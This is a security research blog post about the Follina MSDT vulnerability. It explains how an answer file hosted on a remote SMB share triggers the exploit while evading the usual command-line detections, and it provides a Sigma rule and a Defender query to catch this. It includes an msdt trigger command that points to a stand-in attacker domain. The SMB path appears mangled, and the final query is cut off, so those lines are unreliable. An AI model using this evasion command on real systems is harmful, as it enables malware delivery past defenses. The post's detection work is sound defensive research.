A vulnerability in the Microsoft Support Diagnostic Tool (MSDT), dubbed “Follina” (CVE-2022-30190) has been under active exploitation by threat actors for several months. The attack technique that delivers malware via Microsoft Word files first became widely known at the end of May 2022. Proof-of-Concept code, allowing generation of malicious files became widely available during this time. This POC code allowed security vendors to quickly add detection patterns that identify files and behaviors associated with the Follina exploits. Additionally, cyber-security researcher, Kevin Beaumont, documented the vulnerability and attack exploitations in an excellent blog.
Detecting Follina:
Current detection standards for defenders are to watch for msdt.exe being spawned as a child process of any Microsoft Office application or for msdt.exe being run with command line arguments that include “IT_LaunchMethod” and “IT_BrowseForFile.” Security practitioners should test their tools and detection capabilities to verify that they will successfully detect and block exploitation attempts but recognize that attackers will continue to innovate new ways to bypass detections as much as possible. It’s important for defenders to also think of novel ways that the exploit could be triggered and tune their detections queries to find every possible exploitation vector. It’s always better to stay one step ahead of the attackers rather than waiting and responding to events after the fact.
Binary Defense threat hunters set out to find novel ways of triggering the Follina exploit without hitting either of the known command line arguments. The threat hunting team found that by using an “answer file” hosted on a remote SMB server containing all the suspicious command line arguments in the answer file xml format, it was possible to call msdt.exe in a way which triggers the exploit, but without including any of the suspicious command line arguments that would cause security tools to detect it. Research so far has shown that it is extremely common for msdt.exe to use an answer file in normal operation, but rare for that answer file to be hosted on an SMB share, which leads to a useful new detection pattern for defenders to deploy. Binary Defense has implemented this detection pattern as a Sigma rule and made it available to the public.
What is an Answer File?
An answer file is simply an XML file which contains the settings definitions or command-line arguments for a Microsoft program to use. Microsoft describes the format of an answer file here: https://docs.microsoft.com/en-us/windows-hardware/customize/desktop/wsim/answer-files-overview
Most importantly, it is commonly used with msdt.
An example answer file for msdt that can trigger the exploit can be generated using the Get-TroubleshootingPack PowerShell command and saving the resulting answer file. Details about the command can be found here: https://docs.microsoft.com/en-us/powershell/module/troubleshootingpack/get-troubleshootingpack?view=windowsserver2019-ps
The interaction IDs and values need to be populated with the parameters required to trigger the exploit.
Minimum Required Command Line Arguments to Exploit
Through experimentation, the minimum set of command line arguments that were needed to exploit the vulnerability were:
msdt /id PCWDiagnostic /af answers.xml
(Note that command line arguments can be written as /id or -id, /af or -af, with the same meaning)
The file name of the answer file can be anything. It doesn’t have to be named “answers”, and the file extension does not have to be “.xml”. In common practice, msdt refers to temporary answer files which are in the user’s Local App Data folder with the file extension “.tmp”.
For an attacker to exploit the MSDT vulnerability using an answer file, they would need to control the contents of the answer file msdt is referring to. One way to do so is by hosting the answer file on a publicly-accessible SMB server and provide the SMB path to it as the argument value for /af or -af, for example:
msdt /id PCWDiagnostic /af \sneaky-domain-name.comfolderfile.tmp
Detection Pattern
Since it is common for msdt to use an answer file, it is not wise to detect every /af or -af in the command line arguments, because this could cause excessive false positive results for security analysts to review. It is better to detect an answer file that uses an SMB path, starting with two backslashes. Backslashes are used as an escape character in most query languages, so it can be tricky to compose a query correctly.
The following Sigma rule detects the command line arguments used for the attack:
title: MSDT.EXE With SMB Answers File
id: c577e607-8f6f-4e33-8767-a8f263b326a1
status: experimental
description: Detects when "msdt.exe" is executed with an answers file from an SMB share
references:
- https://twitter.com/nao_sec/status/1530196847679401984
- https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/
- https://twitter.com/ImpetuousDanny/status/1531650953082023936
date: 2022/06/09
author: Matt Ehrnschwender
logsource:
category: process_creation
product: windows
detection:
image:
- Image|endswith: 'msdt.exe'
- OriginalFileName: 'msdt.exe'
af_with_smb:
CommandLine|contains:
- '/af \\'
- '-af \\'
condition: image and af_with_smb
falsepositives:
- Unknown
level: high
tags:
- attack.defense_evasion Sigma translation for double backslashes can have various results for each query language, and some translations created by the Sigma translator are incorrect, producing inaccurate (false negative) query results. The Sigma rule syntax is correct using four backslashes in the rule to match two backslashes in the command line argument, because Sigma requires escaping backslashes (see: https://github.com/SigmaHQ/sigma/wiki/Specification#escaping).
The following query works correctly for Microsoft Defender for Endpoint:
DeviceProcessEvents
| where FolderPath endswith @"msdt.exe"
or ProcessVersionInfoOriginalFileName =~ "msdt.exe"
or InitiatingProcessVersionInfoOriginalFileName =~ "msdt.exe"
| where ProcessCommandLine contains @"/af \
By: Matt Ehrnschwender (@M_alphaaa)